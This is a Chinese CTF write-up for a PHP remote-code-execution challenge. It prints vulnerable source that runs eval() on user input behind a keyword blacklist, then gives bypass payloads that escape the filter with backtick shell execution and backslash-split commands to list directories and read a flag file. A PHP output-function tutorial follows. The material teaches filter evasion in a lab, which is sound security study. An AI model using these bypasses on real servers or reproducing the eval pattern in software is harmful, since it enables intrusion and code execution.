打开题目
得到题目源码
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
代码审计一下
get传入的code参数如果存在的话就赋值给code参数,如果参数里面没有/sys,pas等符号就输出一句话且执行code参数里面的命令
如果有的话,就退出脚本运行并输出一句话,如果code参数的值不存在就输出另外一句话。
解题思路
我们可以先尝试一下,这里是php语句,所以我们要在语句最后加上;
?code=print(`l\s`);
这里用printf也是一样的结果
得到
那我们去查看一下根目录
?code=print(`l\s /`);
发现了flag
构造payload:
/?code=print(`c\at /fffffffffflagafag`);
得到flag
或者我们直接用var_dump命令也是一样的
/?code=var_dump(`c\at /fffffffffflagafag`);
知识点:
php语句中反引号 `` 的作用
1.在sql语句中用来包含关键字
如,加上反引号就不会有因为字段是关键字而出错的问题
$sql = "select `user`,username from `Content`";
为了保险起见,我们建议在所有字段中都加上反引号,即上面的SQL建议写成
$sql = "select `user`,`username` from `Content`";
2.执行系统命令
PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
如:
echo `ipconfig`
知识点参考:php中``反引号的作用_`反单引号在php语言以及sql语言中的作用分别是什么?-CSDN博客
PHP中的输出:echo、print、printf、sprintf、print_r和var_dump
-
echo
最基础的输出语句,不需要括号,可以使用参数列表,用逗号分隔。但如果加了括号就不能用逗号分隔着输出了。没有返回值
echo 'fullstackpm'; // 正常输出:fullstackpm
echo 'fullstackpm', ' is ', 'Good!'; // 正常输出:fullstackpm is Good!
echo ('fullstackpm'); // 正常输出:fullstackpm
echo ('fullstackpm', ' is ', 'Good!'); // 报错了
-
print
基本和echo一样,但是不支持参数列表,有返回值。返回值永远是1,因为有返回值,所以相对来说效率不如echo
print 'fullstackpm'; // 正常输出:fullstackpm
print 'fullstackpm', ' is ', 'Good!'; // 错误
$r = print ('fullstackpm'); // 正常输出:fullstackpm
print $r; // 输出1
-
printf和sprintf
二者都可以格式化输出字符串。printf和sprintf的区别就是前者直接进行了输出,而后者是将字符串进行了函数返回
$str = 'My name is %s, I\'m %d years old.';
printf($str, 'fullstackpm', 1002); // 直接输出:My name is fullstackpm, I'm 1002 years old.
$s = sprintf($str, 'WoW', 12); // 这里不会输出
print $s; // 输出:My name is WoW, I'm 12 years old.
规定符
- %d 十进制有符号整数
- %u 十进制无符号整数
- %f 浮点数
- %s 字符串
- %c 单个字符
- %p 指针的值
- %e 指数形式的浮点数
- %x, %X 无符号以十六进制表示的整数
- %o 无符号以八进制表示的整数
- %g 把输出的值按照 %e 或者 %f 类型中输出长度较小的方式输出
- %p 输出地址符
- %lu 32位无符号整数
- %llu 64位无符号整数
- %% 输出百分号字符本身。
除了格式化说明符之外,printf() 函数还支持一些标志和选项,用于控制输出的精度、宽度、填充字符和对齐方式等。例如:
- %-10s:左对齐并占用宽度为 10 的字符串;
- %5.2f:右对齐并占用宽度为 5,保留两位小数的浮点数;
- %#x:输出带有 0x 前缀的十六进制数。
(具体使用见:C 库函数 – printf() | 菜鸟教程)
-
print_r
可以格式化的输出数组或对象。注意第二个参数设置为true,可以不直接输出而是进行函数返回
-
var_dump和var_exports
var_dump用来显示结构信息,包括类型与值,数组对象都会展开,用缩进表示层次。
var_exports与之不同的地方在于var_exports返回的内容是正常的PHP代码,可以直接使用,并且有和print_r类似的第二个return参数,作用也类似。
参考文章:PHP中的输出:echo、print、printf、sprintf、print_r和var_dump-腾讯云开发者社区-腾讯云